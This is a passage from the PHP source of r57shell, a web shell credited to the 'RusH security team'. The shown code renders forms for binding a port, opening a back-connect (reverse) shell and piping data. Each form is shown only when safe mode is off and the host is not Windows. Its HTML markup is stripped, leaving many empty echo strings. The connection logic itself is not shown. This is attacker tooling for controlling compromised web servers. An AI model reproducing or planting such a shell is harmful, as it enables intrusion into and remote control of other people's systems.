".ws(4).$lang[$language.'_text41'].$arrow.ws(1).""; echo "".ws(1); echo ws(4).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* port bind form */ if(!$safe_mode&&!$windows){ echo "
"; echo $table_up1; echo $lang[$language.'_text9']; echo $table_up2; echo $font; echo "".ws(14).$lang[$language.'_text10'].$arrow.ws(4).""; echo "".ws(1); echo "".ws(6).$lang[$language.'_text11'].$arrow.ws(4).""; echo "".ws(1); echo "".ws(6).$lang[$language.'_text20'].$arrow.ws(1).""; echo " "; echo ""; echo ws(6).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* back connect form */ if(!$safe_mode&&!$windows){ echo "
"; echo $table_up1; echo $lang[$language.'_text12']; echo $table_up2; echo $font; echo "".ws(22).$lang[$language.'_text13'].$arrow.ws(4).""; echo "".ws(1); echo "".ws(37).$lang[$language.'_text14'].$arrow.ws(4).""; echo " "; echo "".ws(6).$lang[$language.'_text20'].$arrow.ws(1).""; echo " "; echo ""; echo ws(6).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* datapipe */ if(!$safe_mode&&!$windows){ echo "
"; echo $table_up1; echo $lang[$language.'_text22']; echo $table_up2; echo $font; echo "".ws(2).$lang[$language.'_text23'].$arrow.ws(1).""; echo "".ws(1); echo "".ws(2).$lang[$language.'_text24'].$arrow.ws(1).""; echo "".ws(1); echo "".ws(2).$lang[$language.'_text25'].$arrow.ws(1).""; echo "".ws(1); echo "".ws(2).$lang[$language.'_text26'].$arrow.ws(1).""; echo " "; echo ws(2).""; echo ""; echo ""; echo $table_end1; echo "
"; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /// end table echo "
"; /* (c) */ echo $table_up3; echo "
o---[ r57shell - http-shell by RusH security team | http://rst.void.ru | version ".$version." ]---o
"; echo "$f"; /* -------------------------[ EOF ]------------------------- */ ?>